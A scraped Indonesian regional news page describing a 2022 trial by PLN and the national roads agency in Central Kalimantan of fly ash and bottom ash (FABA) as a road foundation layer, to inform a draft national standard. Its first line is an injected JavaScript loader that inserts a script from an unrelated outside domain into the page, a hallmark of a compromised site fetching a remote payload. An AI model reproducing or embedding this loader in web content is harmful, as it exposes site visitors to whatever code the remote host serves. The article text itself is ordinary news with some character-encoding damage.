(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKARAYA – Balai Pelaksana Jalan Nasional (BPJN) Kalimantan Tengah (Kalteng) melaksanakan trial percobaan pemanfaatan limbah hasil pembakaran batu bara berupa Flying Ash Bottom Ash (FABA). Trial percobaan lapisan pondasi jalan beraspal menjadi acuan perumusan rancangan Standar Nasional Indonesia (SNI) di Pembangkit Listrik Tenaga Uap (PLTU) Pulang Pisau PT PLN (Persero) Unit Pelaksana Pengendalian Pembangkitan (UPDK) Palangkaraya, Jum’at (27/5/2022).
Ada dua produk pemanfaatan yang diuji coba kali ini, lapisan pondasi dengan komposisi Fly Ash 50% Bottom Ash 50% yang dicampur semen 7% dari total pencampuran dan timbunan pilihan dengan komposisi Fly Ash 70% bottom ash 30%.
Manager PLN UPDK Palangkaraya, Heni Setyo Handoko menjelaskan, pelaksanaan trial ini adalah bagian dari pilot project perjanjian kerja sama antara PT PLN dengan Kementerian Pekerjaan Umum dan Perumahan Rakyat (PUPR) untuk penyusunan Rancangan Standar Nasional Indonesia (RSNI). Kementerian PUPR sebelumnya sudah melayangkan permintaan persetujuan SNI ini secara resmi ke Badan Standarisasi Nasional (BSN) terkait pemanfaatan FABA untuk pembangunan infrastruktur tersebut.
PT PLN bersama BPJN Kalteng melaksanakan trial percobaan pemanfaatan limbah hasil pembakaran batu bara berupa Flying Ash Bottom Ash (FABA). Foto: ptpln
Baca juga:Â Tukang Sapu Jalan Berangkat Haji, Nabung 12 Tahun Sisihkan dari Gaji
“Jika hasil trial di lokasi PLTU Pulang Pisau berhasil, maka akan dilanjutkan trial di proyek jalan nasional Kalteng dan akan menjadi acuan perumusan rancangan SNI, semoga saja hasilnya baik dan segera bisa diimplementasikan pada jalanan umum,†ungkap Handoko.
PT PLN bersama BPJN Kalteng melaksanakan trial percobaan pemanfaatan limbah hasil pembakaran batu bara berupa Flying Ash Bottom Ash (FABA). Foto: ptpln
Diketahui, fly ash (abu terbang) merupakan salah satu residu yang dihasilkan dalam pembakaran batu bara dan yang berbentuk partikel-partikel halus yang ditangkap oleh alat pengendali pencemaran udara bernama ESP (Electrostatic Precipitator).
Sedangkan bottom ash merupakan sisa pembakaran batu bara yang berada dalam tungku pembakaran yang secara rutin dikeluarkan. (Kanalkalimantan.com/adv)
Reporter : adv
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.